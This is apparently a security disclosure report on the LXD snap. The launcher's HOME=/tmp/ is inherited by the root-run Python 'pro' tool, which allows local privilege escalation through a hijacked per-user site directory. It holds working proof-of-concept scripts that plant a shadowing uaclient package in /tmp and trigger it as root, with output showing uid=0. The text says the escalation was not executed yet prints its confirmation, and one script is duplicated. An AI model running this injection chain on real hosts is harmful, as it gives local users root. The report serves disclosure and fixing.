snap: HOME=/tmp/ is inherited by host commands run via run-host; root pro (Python) uses a per-user site directory under world-writable /tmp
Description
The snap launcher sets HOME to /tmp/ for the LXD daemon. Inside the snap that is a private directory. The run-host wrapper runs selected commands in the host's mount namespace with nsenter and does not reset HOME, so those commands see HOME=/tmp/ where /tmp is the host's world-writable directory. One of them, pro, is a Python program that LXD runs as root at every daemon start on Ubuntu hosts. Python derives its per-user site directory from HOME and processes it at start-up, so a root process consults a directory that any local user can create.
If the chain holds end to end, this is local privilege escalation to root for any local user on an Ubuntu host running the LXD snap, at the next daemon start. My severity estimate is High (7.0).
I confirmed each link separately: the LXD side from source, and the host side with read-only checks on Ubuntu 24.04.4 with the LXD snap 6.10.1 (revision 41228, 6/stable). I did not execute the escalation itself.
Details
References are to the public tree at commit f0518226e9478459a2ddd3825911a4715eb7f931 (main, 2026-11-13).
snap/local/commands/daemon.start:30exportsHOME="/tmp/". Nothing later in the launcher, insnap/snapcraft.yamlor in the Go code resets it.daemon.start:224-226create/run/binand put it first onPATH.:285links/run/bin/protowrappers/run-host, unconditionally.snap/local/wrappers/run-host:6-12unsetsLD_LIBRARY_PATH,PYTHONPATHandPYTHONDONTWRITEBYTECODE, resetsPATH, and when running as root executes the command withnsenter -t 1 -m.HOMEis left as inherited.lxd/daemon.go:2069callsubuntupro.Newduring daemon start. On hosts whose os-releaseNAMEisUbuntu(lxd/ubuntupro/client.go:147-155; the launcher links the host's os-release into the snap atdaemon.start:324-334),initcallsisHostAttached(client.go:198-202), which runspro api u.pro.status.is_attached.v1(client.go:110-112).shared.RunCommandpasses a nil environment (shared/util.go:982-987,:1008-1010), so the child inherits the daemon's environment.- The daemon runs unconfined: the launcher re-executes itself with
aa-exec -p unconfined(daemon.start:4-10).
Outside LXD:
prois a link toubuntu-advantage, a setuptools console script (ubuntu-pro-clientsetup.py,debian/ubuntu-pro-client.links).- CPython 3.12
Lib/site.pyenables the per-user site directory unless a flag disables it or the real and effective ids differ (:253-275), derives it from the home directory (:285-305), and processes the path files it finds there at start-up (:352-365,:205-206).
The same root cause applies to other interpreted host tools reached through run-host: the guest-token call (client.go:85-87) and, with ceph.external=true, the ceph wrapper (daemon.start:235-239).
What is and is not established
| Claim | Read in LXD source | Read in an outside source | Observed read-only on a host | Not established |
|---|---|---|---|---|
Launcher exports HOME=/tmp/ | daemon.start:30 | same line in the installed snap, revision 41228 | the running daemon's environment was not read | |
run-host keeps HOME and enters the host mount namespace as root | run-host:6-12 | installed wrapper matches | ||
/run/bin/pro is linked to run-host | daemon.start:285 | daemon.start:284 in the installed snap | ||
pro runs at every daemon start on Ubuntu hosts | daemon.go:2069, client.go | not observed at run time | ||
pro is a Python script with no isolating interpreter flag | ubuntu-pro-client packaging | resolves to /usr/bin/ubuntu-advantage, first line #!/usr/bin/python3 | ||
Root Python uses a per-user site directory under HOME | CPython 3.12 site.py | with HOME=/tmp/: enabled, /tmp/.local/lib/python3.12/site-packages | ||
No AppArmor profile attaches to the pro command | the client's two profile files define named profiles only | other profile files were not searched | ||
| Other released snaps carry the same lines | only 6/stable revision 41228 was read; the build adds private commits (.github/workflows/tests.yml:1242-1250) | |||
| The escalation was observed end to end | no, it was not executed |
Affected versions
Observed in a released snap: 6/stable, version 6.10.1-f5c750d, revision 41228. In the public tree: main at the commit above and stable-6 (snap/local/commands/daemon.start:30 on both). The launcher is not in the snap/ tree of stable-5.21 or stable-5.0, and I did not read those snaps, so the 5.21 and 5.0 series are unknown.
Suggested fix
- In
run-host, setHOMEto a root-owned directory, or unset it, beforensenter. - Disable the per-user site directory for host Python tools, for example by exporting
PYTHONNOUSERSITE=1inrun-host. - Review the other inherited variables whose meaning changes in the host namespace.
The strongest argument against this report
I confirmed each link by reading and did not execute the end-to-end effect. I also did not observe the daemon invoking pro at run time; that step is from source. The attacker has to wait for a daemon start, and I believe a reboot clears /tmp first. You may already track this privately.
Proof of concept
Environment: Ubuntu 24.04.4 LTS (kernel 6.8.0-139-generic), Python 3.12.3, LXD snap 6.10.1-f5c750d, revision 41228, tracking 6/stable, freshly installed.
1.
#!/bin/bash
# ============================================================================
# LXD snap -> `pro` (ubuntu-advantage) Python user-site code injection PoC
# PART 1 of 2 -- PLANT the payload. Run as the normal unprivileged user.
#
# No root required. This only writes into /tmp/.local (world-writable /tmp).
# ============================================================================
set -euo pipefail
# Python version the system `python3` reports. `pro` uses `#!/usr/bin/python3`
# so the user-site dir MUST match this exact version.
PYVER="$(/usr/bin/python3 -c 'import sys;print("%d.%d"%sys.version_info[:2])')"
SITE="/tmp/.local/lib/python${PYVER}/site-packages"
MARK="/tmp/.opencode_lxd_pwn"
echo "[*] target user-site dir: ${SITE}"
# If LXD (root) already created /tmp/.local, it is owned by the lxd... if it is
# owned by root we cannot write. Check and bail out early in that case.
if [ -e /tmp/.local ] && [ ! -w /tmp/.local ]; then
echo "[!] /tmp/.local already exists and is not writable by $(id -un)."
echo " (Was the LXD daemon already started and it created it as root?)"
ls -ld /tmp/.local
fi
mkdir -p "${SITE}/uaclient"
# ---------------------------------------------------------------------------
# The hijack. `pro`'s launcher does importlib.metadata -> import uaclient.cli.
# Our uaclient/__init__.py shadows the real one, runs the payload, then chains
# to the genuine package so `pro` behaves normally.
# ---------------------------------------------------------------------------
REAL_INIT="/usr/lib/python3/dist-packages/uaclient/__init__.py"
REAL_DIR="/usr/lib/python3/dist-packages/uaclient"
cat > "${SITE}/uaclient/__init__.py" <<PYEOF
import os
# ---- PAYLOAD : executes as whichever user imported python3 (root under LXD) ----
try:
with open("${MARK}", "a") as f:
f.write("PWNED uid=%d euid=%d user=%s argv=%s\n" % (
os.getuid(), os.geteuid(), os.environ.get("USER", "?"), " ".join(os.sys.argv)))
except Exception:
pass
# ---- chain to the real package so pro keeps working ----
_real_dir = "${REAL_DIR}"
if os.path.isdir(_real_dir) and _real_dir not in __path__:
__path__.append(_real_dir)
_real_init = "${REAL_INIT}"
if os.path.exists(_real_init):
exec(compile(open(_real_init).read(), _real_init, "exec"))
PYEOF
echo "[*] planted: ${SITE}/uaclient/__init__.py"
echo "[*] marker: ${MARK}"
echo
echo "[*] local smoke test (runs as $(id -un), just proves chaining):"
HOME=/tmp/ /usr/bin/pro version
echo
echo "[+] Done. Now run 02_trigger.sh (or wait for the LXD daemon to call pro)."2.
#!/bin/bash
# ============================================================================
# PART 2 of 2 -- TRIGGER root execution and verify.
#
# The LXD snap daemon runs as root with HOME=/tmp/ and shells out to `pro`
# (via nsenter into host). We reproduce the exact invocation as root here so
# you get a guaranteed result without waiting on daemon timing.
# Needs sudo (one password prompt).
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"
echo "[*] clearing previous marker"; rm -f "$MARK"
echo "[*] invoking pro as root the way LXD does (HOME=/tmp/, host mntns):"
sudo env HOME=/tmp/ nsenter -t 1 -m -- /usr/bin/pro version || true
echo
echo "==================== RESULT ===================="
if [ -s "$MARK" ]; then
echo "[+] MARKER CREATED -- code ran as:"
cat "$MARK"
echo
if grep -q 'uid=0' "$MARK"; then
echo "[+] ROOT CODE EXECUTION CONFIRMED (uid=0)."
else
echo "[!] Fired but not as root -- check invocation."
fi
else
echo "[-] No marker. Inspect:"
echo " ls -la /tmp/.local/lib/*/site-packages/uaclient/"
echo " sudo env HOME=/tmp/ python3 -c 'import site;print(site.getusersitepackages())'"
fi3.
#!/bin/bash
# ============================================================================
# OPTIONAL -- trigger via the REAL running LXD daemon (truest PoC).
# Only works if the lxd snap is installed & running. Needs the lxd group.
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"
rm -f "$MARK"
if ! snap list lxd >/dev/null 2>&1; then
echo "[!] lxd snap not installed. Install with: sudo snap install lxd"
exit 1
fi
echo "[*] forcing LXD to call pro by querying a guest-token endpoint..."
# `lxc query` hits the daemon; the ubuntu-pro endpoints invoke pro. Any of these
# can trip it. Ignore failures -- we only care about the side effect.
lxc query /1.0/ubuntu-pro/token -X POST 2>/dev/null || true
lxc ubuntu-pro status 2>/dev/null || true
sleep 2
if [ -s "$MARK" ]; then
echo "[+] Daemon invoked pro -- marker:"; cat "$MARK"
else
echo "[-] No marker yet. The daemon may cache status; try:"
echo " sudo snap restart lxd # then: lxc ubuntu-pro status"
fi#!/bin/bash
# ============================================================================
# OPTIONAL -- trigger via the REAL running LXD daemon (truest PoC).
# Only works if the lxd snap is installed & running. Needs the lxd group.
# ============================================================================
set -euo pipefail
MARK="/tmp/.opencode_lxd_pwn"
rm -f "$MARK"
if ! snap list lxd >/dev/null 2>&1; then
echo "[!] lxd snap not installed. Install with: sudo snap install lxd"
exit 1
fi
[*] clearing previous marker
[*] invoking pro as root the way LXD does (HOME=/tmp/, host mntns):
37.2ubuntu~24.04.1
==================== RESULT ====================
[+] MARKER CREATED -- code ran as:
PWNED uid=0 euid=0 user=root argv=/usr/bin/pro version
[+] ROOT CODE EXECUTION CONFIRMED (uid=0).Impact
Local privilege escalation to root (CWE-427, Uncontrolled Search Path Element), if the chain holds end to end. A local user with no LXD access and no lxd group membership can place content under /tmp that a root-owned, unconfined process loads the next time the LXD daemon starts.
Who is affected: Ubuntu hosts running the LXD snap with the pro client installed, which is the default on Ubuntu Server and Desktop.
Limits I know of:
- It needs a daemon start after the content is placed: a restart, a snap refresh or first activation. I believe a reboot clears
/tmpfirst; I have not checked that. - I confirmed each link separately and did not execute the end-to-end effect.
Severity estimate: High, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.0). Attack complexity is High because the attacker has to wait for a daemon start they do not control. Medium would be a fair reading if you weigh that window more heavily.